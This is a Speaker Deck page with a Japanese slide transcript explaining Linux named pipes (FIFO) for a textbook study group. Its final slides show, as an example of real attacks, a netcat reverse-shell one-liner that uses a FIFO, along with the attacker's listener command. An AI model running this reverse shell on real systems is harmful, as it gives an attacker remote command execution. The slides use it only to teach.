Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
名前付きパイプ FIFO
Search
Osumi, Yusuke
February 13, 2021
Technology
590
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
名前付きパイプ FIFO
「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/
Osumi, Yusuke
February 13, 2021
More Decks by Osumi, Yusuke
See All by Osumi, Yusuke
本の紹介の補足
ozuma
1
430
gitサービス3兄弟
ozuma
0
430
簡体字は楽
ozuma
0
510
ソフトウェアは固定資産
ozuma
0
450
ASCIIコードの小話
ozuma
0
480
今いるディレクトリを消すとどうなる
ozuma
1
440
文章、作文技法 リモートワーク
ozuma
1
950
CentOSの今後のリリース(簡易説明)
ozuma
0
430
AndroidでもLinux動いてるよ
ozuma
0
470
Other Decks in Technology
See All in Technology
フィンテック養成勉強会#68
finengine
0
240
CTO Night|NotionのAIエージェントとFDE
kzkhykw1991
0
320
AI秘書と毎日働くのはもう当たり前。開発以外の業務に足りない機能をどう埋める?
minorun365
PRO
2
1.7k
データマネジメント × 法務で作りあげる、 freeeの新しいデータガバナンスへの軌跡
freee
PRO
1
430
AIエージェント時代、Kaggleにどう取り組むか
takanao
1
190
(swiftc) NonCopyableとライフタイム修飾子
teamhimeh
0
130
Agent × Maestro で始める モバイル E2E 端末準備からテスト実行・結果確認まで
sansantech
PRO
0
210
reInvent2026stby LT00 "Change your life!"
shinichirokawano
1
300
構造で守らせる データ・法務・セキュリティ・開発チームとつくる AI時代のデータガバナンスとデータ基盤のリアル
legalontechnologies
PRO
1
520
書き手が人でもAIでも正しくなる道、SREを埋め込んだDeveloper Platform / tech drivers day8
chmikata
4
760
LLM Content Moderationを支える評価・改善ループの実践
suikabar
2
360
Claude Code on Bedrock で統制をかける小ネタ集/claude-code-bedrock-governance-tips
emiki
1
13k
Featured
See All Featured
How to make the Groovebox
asonas
2
2.5k
The untapped power of vector embeddings
frankvandijk
2
2k
Building the Perfect Custom Keyboard
takai
2
920
Taking LLMs out of the black box: A practical guide to human-in-the-loop distillation
inesmontani
PRO
3
2.5k
Max Prin - Stacking Signals: How International SEO Comes Together (And Falls Apart)
techseoconnect
PRO
0
500
Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)
minecr
1
450
Why Our Code Smells
bkeepers
PRO
340
58k
Sam Torres - BigQuery for SEOs
techseoconnect
PRO
0
590
What does AI have to do with Human Rights?
axbom
PRO
1
2.5k
The Illustrated Guide to Node.js - THAT Conference 2024
reverentgeek
1
580
We Analyzed 250 Million AI Search Results: Here's What I Found
joshbly
2
2.1k
Lightning Talk: Beautiful Slides for Beginners
inesmontani
PRO
2
740
Transcript
名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $
tail -f fifo (別のターミナルで) 読み込んで解放
名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo
"Hello" > fifo 今度は書き込むとブロックされない
名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.
入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man
mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
6 $ cat sample.txt | sort $ cat sample.txt >
fifo $ sort < fifo 無名パイプ 名前付きパイプ
プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信
名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる
もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る